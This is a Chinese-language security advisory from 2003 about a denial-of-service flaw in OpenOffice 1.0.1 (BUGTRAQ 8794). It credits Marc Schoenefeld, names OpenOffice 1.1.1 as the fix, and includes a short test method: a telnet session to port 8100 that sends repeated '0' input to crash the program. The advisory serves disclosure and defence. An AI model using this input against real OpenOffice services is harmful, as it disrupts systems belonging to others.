发布日期：2003-10-08
更新日期：2003-10-21

受影响系统：

OpenOffice OpenOffice 1.0.1

描述：

---

BUGTRAQ  ID: 8794

OpenOffice是一款办公处理软件，可以配置监听指定网络的访问通信。

OpenOffice在接收远程用户的恶意提交数据时存在问题，远程攻击者可以利用这个漏洞对处理软件进行拒绝服务攻击。

攻击者连接OpenOffice软件监听的8100端口，输入恶意数据，可导致OpenOffice软件崩溃。

<*来源：Marc Schoenefeld （marc.schoenefeld@uni-muenster.de）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=106562968610584&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Marc Schoenefeld （marc.schoenefeld@uni-muenster.de）提供了如下测试方法：

===================================================================
C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
0
0
0
0
0
0
0
0
0
0
0
0
===================================================================

建议：

---

厂商补丁：

OpenOffice
----------
OpenOffice 1.1.1 release会修正这个漏洞：

http://www.openoffice.org/

浏览次数：3026
严重程度：0（网友投票）